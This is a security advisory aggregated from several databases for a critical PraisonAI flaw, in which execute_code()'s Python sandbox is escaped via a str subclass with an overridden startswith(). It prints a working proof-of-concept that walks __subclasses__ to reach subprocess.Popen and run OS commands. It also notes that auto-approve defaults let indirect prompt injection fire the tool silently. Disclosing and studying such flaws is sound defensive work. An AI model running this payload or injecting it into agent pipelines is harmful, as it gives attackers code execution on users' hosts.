10.0critical
PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code
- Severity
- 10.0critical CVSS:3.1 by GitHub_M
- Exploit likelihood
- 14.6% (higher than 96% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-6vh2-h83c-9294PYSEC-2026-484
Description
PraisonAI is a multi-agent teams system. Prior to version 1.5.90, execute_code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the _safe_getattr wrapper, achieving arbitrary OS command execution on the host. This issue has been patched in version 1.5.90.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| MervinPraison PraisonAI | < 1.5.90 | CVE List |
| praisonaiagents (PyPI) | before 1.5.90 | GitHub Advisory Database, PyPA Advisory Database |
| praison praisonaiagents | before 1.5.90 | NVD |
All scores
| GitHub_M | 10.0critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| GitHub | 10.0critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| PyPA Advisory Database | 10.0critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
Classification
SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact total.
What each source says
CVE List
PraisonAI is a multi-agent teams system. Prior to version 1.5.90, execute_code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the _safe_getattr wrapper, achieving arbitrary OS command execution on the host. This issue has been patched in version 1.5.90.
GitHub Advisory Database
Summary
execute_code() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the _safe_getattr wrapper, achieving arbitrary OS command execution on the host.
Details
python_tools.py:20 (source) -> python_tools.py:22 (guard bypass) -> python_tools.py:161 (sink)
# source -- _safe_getattr accepts any str subclass
def _safe_getattr(obj, name, *default):
if isinstance(name, str) and name.startswith('_'): # isinstance passes for subclasses
raise AttributeError(...)
# hop -- type() is whitelisted in safe_builtins, creates str subclass without class keyword
FakeStr = type('FakeStr', (str,), {'startswith': lambda self, *a: False})
# sink -- Popen reached via __subclasses__ walk
r = Popen(['id'], stdout=PIPE, stderr=PIPE)
PoC
from praisonaiagents.tools.python_tools import execute_code
payload = """
t = type
FakeStr = t('FakeStr', (str,), {'startswith': lambda self, *a: False})
mro_attr = FakeStr(''.join(['_','_','m','r','o','_','_']))
subs_attr = FakeStr(''.join(['_','_','s','u','b','c','l','a','s','s','e','s','_','_']))
mod_attr = FakeStr(''.join(['_','_','m','o','d','u','l','e','_','_']))
name_attr = FakeStr(''.join(['_','_','n','a','m','e','_','_']))
PIPE = -1
obj_class = getattr(type(()), mro_attr)[1]
for cls in getattr(obj_class, subs_attr)():
try:
m = getattr(cls, mod_attr, '')
n = getattr(cls, name_attr, '')
if m == 'subprocess' and n == 'Popen':
r = cls(['id'], stdout=PIPE, stderr=PIPE)
out, err = r.communicate()
print('RCE:', out.decode())
break
except Exception as e:
print('ERR:', e)
"""
result = execute_code(code=payload)
print(result)
# expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
Impact
Any user or agent pipeline running execute_code() is exposed to full OS command execution as the process user. Deployments using bot.py, autonomy_mode.py, or bots_cli.py set PRAISONAI_AUTO_APPROVE=true by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.
NVD (es)
PraisonAI es un sistema de equipos multiagente. Antes de la versión 1.5.90, execute_code() en praisonai-agents ejecuta Python controlado por el atacante dentro de una sandbox de tres capas que puede ser completamente eludida pasando una subclase de str con un método startswith() sobrescrito al wrapper _safe_getattr, logrando la ejecución arbitraria de comandos del sistema operativo en el host. Este problema ha sido parcheado en la versión 1.5.90.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-34938 changed 2026-04-06 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-6vh2-h83c-9294 changed 2026-11-16 | CC-BY-4.0 |
| NVD | CVE-2026-34938 changed 2026-07-24 | Public domain |
| PyPA Advisory Database | PYSEC-2026-484 changed 2026-07-13 | CC-BY-4.0 |